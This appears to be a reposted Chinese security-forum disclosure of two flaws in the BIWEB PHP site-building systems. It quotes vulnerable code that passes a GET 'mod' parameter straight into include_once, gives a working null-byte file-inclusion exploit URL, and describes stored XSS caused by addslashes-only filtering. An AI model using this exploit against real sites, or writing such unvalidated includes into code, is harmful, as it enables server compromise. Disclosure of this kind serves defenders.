BIWEB  PHP开源企业建站系统（bug修正版）,

BIWEB  门户网站PHP开源建站系统,

BIWEB  商城系统PHP开源建站系统.

 

1.通杀的包含

 

/wap/detail.php，X，X...

$objWebInit = new wap();  if (empty($_GET['page'])) {

        $intPage = 1 ;

} else {

        $intPage = intval($_GET['page']);

}

 

if (empty($_GET['cpage'])) {

        $intCPage = 1 ;

} else {

        $intCPage = intval($_GET['cpage']);

}

 

if (!empty($_GET['mod'])) {

        $strModuleID = strval($_GET['mod']);

        include_once('../'.$strModuleID.'/config/var.inc.php');

        $objWebInit->setDBG($arrGPdoDB);

        $objWebInit->db();

 

exp:

http://www.2cto.com /biwebcorp/wap/list.php?mod=uploadfile/201112/20111218025615648.jpg%00

 

 

2.

PHP开源企业建站系统（bug修正版）XSS

message\include\index.inc.php

if ($_SERVER["REQUEST_METHOD"] == "POST"){

 

        if(empty($_POST['contact'])) check::AlertExit('对不起，姓名必须填写!',-1);

        if(empty($_POST['tel'])) check::AlertExit('对不起，联系电话必须填写!',-1);

       .......

        $strIP = check::getip();

        $_POST['user_ip'] = $strIP;

        $objWebInit->saveInfo($_POST,0); saveInfo function

function saveInfo($arrData,$intModify=0){

                $arr = array();

                $arr = check::SqlInjection($this->saveTableFieldG($arrData));

              .......

 

        } SqlInjection function

        static function SqlInjection($ParamValue,$enforce=false){

                if (!get_magic_quotes_gpc() || $enforce){

                        if (is_array($ParamValue)){

                                foreach ($ParamValue as $key=>$value){

                                        $ParamValue[$key] = addslashes($value);

                                }

                        }else{

                                $ParamValue = addslashes($ParamValue);

                        }

                }

                return $ParamValue;

        } 门户网站PHP开源建站系统xss 一大坨..

 

 

        

转自：http://t00ls.net/viewthread.php?tid=19830&extra=page%3D1%26amp%3Borderby%3Ddateline%26amp%3Bfilter%3D2592000